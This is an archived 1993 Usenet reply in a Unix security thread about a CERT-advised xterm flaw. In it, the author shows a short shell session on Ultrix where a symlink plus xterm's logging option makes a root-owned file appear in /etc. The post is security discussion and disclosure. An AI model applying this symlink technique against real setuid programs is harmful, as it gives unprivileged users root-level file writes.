* Re: access() (was: Xterm "feature")
[not found] ` <1993Nov24.180621.8087@cee.hw.ac.uk>
@ 1993-11-25 10:31 ` Christopher Samuel
0 siblings, 0 replies; only message in thread
From: Christopher Samuel @ 1993-11-25 10:31 UTC (permalink / raw)
[ Tagged some DEC newsgroups so they can see this. ]
[ Followup-To set back to comp.security.unix ]
In article <1993Nov24.180621.8087@cee.hw.ac.uk>
ngm@cee.hw.ac.uk (Neil Milne) doodled:
> I've checked the R4 and R5 xterm source , and there's virtually no code
> between the access and the open functions. Surely this isn't the way the
> hole is exploited?
>
> Correct me if I'm wrong! :->
When I was figuring out what the problem was from the CERT advisory,
it took me two attempts to create a file in /etc as a normal user.
[DEC Ultrix 4.3, supplied X11R4 xterm]
% pwd
/aber/ccs
% xterm -l -lf /etc/testfile
*** [didn't work]
% ln -s /etc/testfile testfile
% xterm -l -lf ./testfile
*** [worked - session logged to /etc/testfile, file owned by root]
So I didn't need to use a race condition, although that *is* another way
of doing things.
Your mileage may vary.
Chris
--
Christopher Samuel, Computer Unit, U.W Aberystwyth, Aberystwyth, WALES
E-mail: ccs@aber.ac.uk PGP 2.3 public key available on request
"Sssh! This is postmodern theory: speak too loud and you'll destroy it!"
- jlk0@aber.ac.uk
^ permalink raw reply [flat|nested] only message in thread
only message in thread, other threads:[~1993-11-25 10:31 UTC | newest]
Thread overview: (only message) (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
[not found] <2ccatj$1k8@usenet.rpi.edu>
[not found] ` <3e%@byu.edu>
[not found] ` <2d02c1$t5f@nz12.rz.uni-karlsruhe.de>
[not found] ` <1993Nov24.180621.8087@cee.hw.ac.uk>
1993-11-25 10:31 ` access() (was: Xterm "feature") Christopher Samuel
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox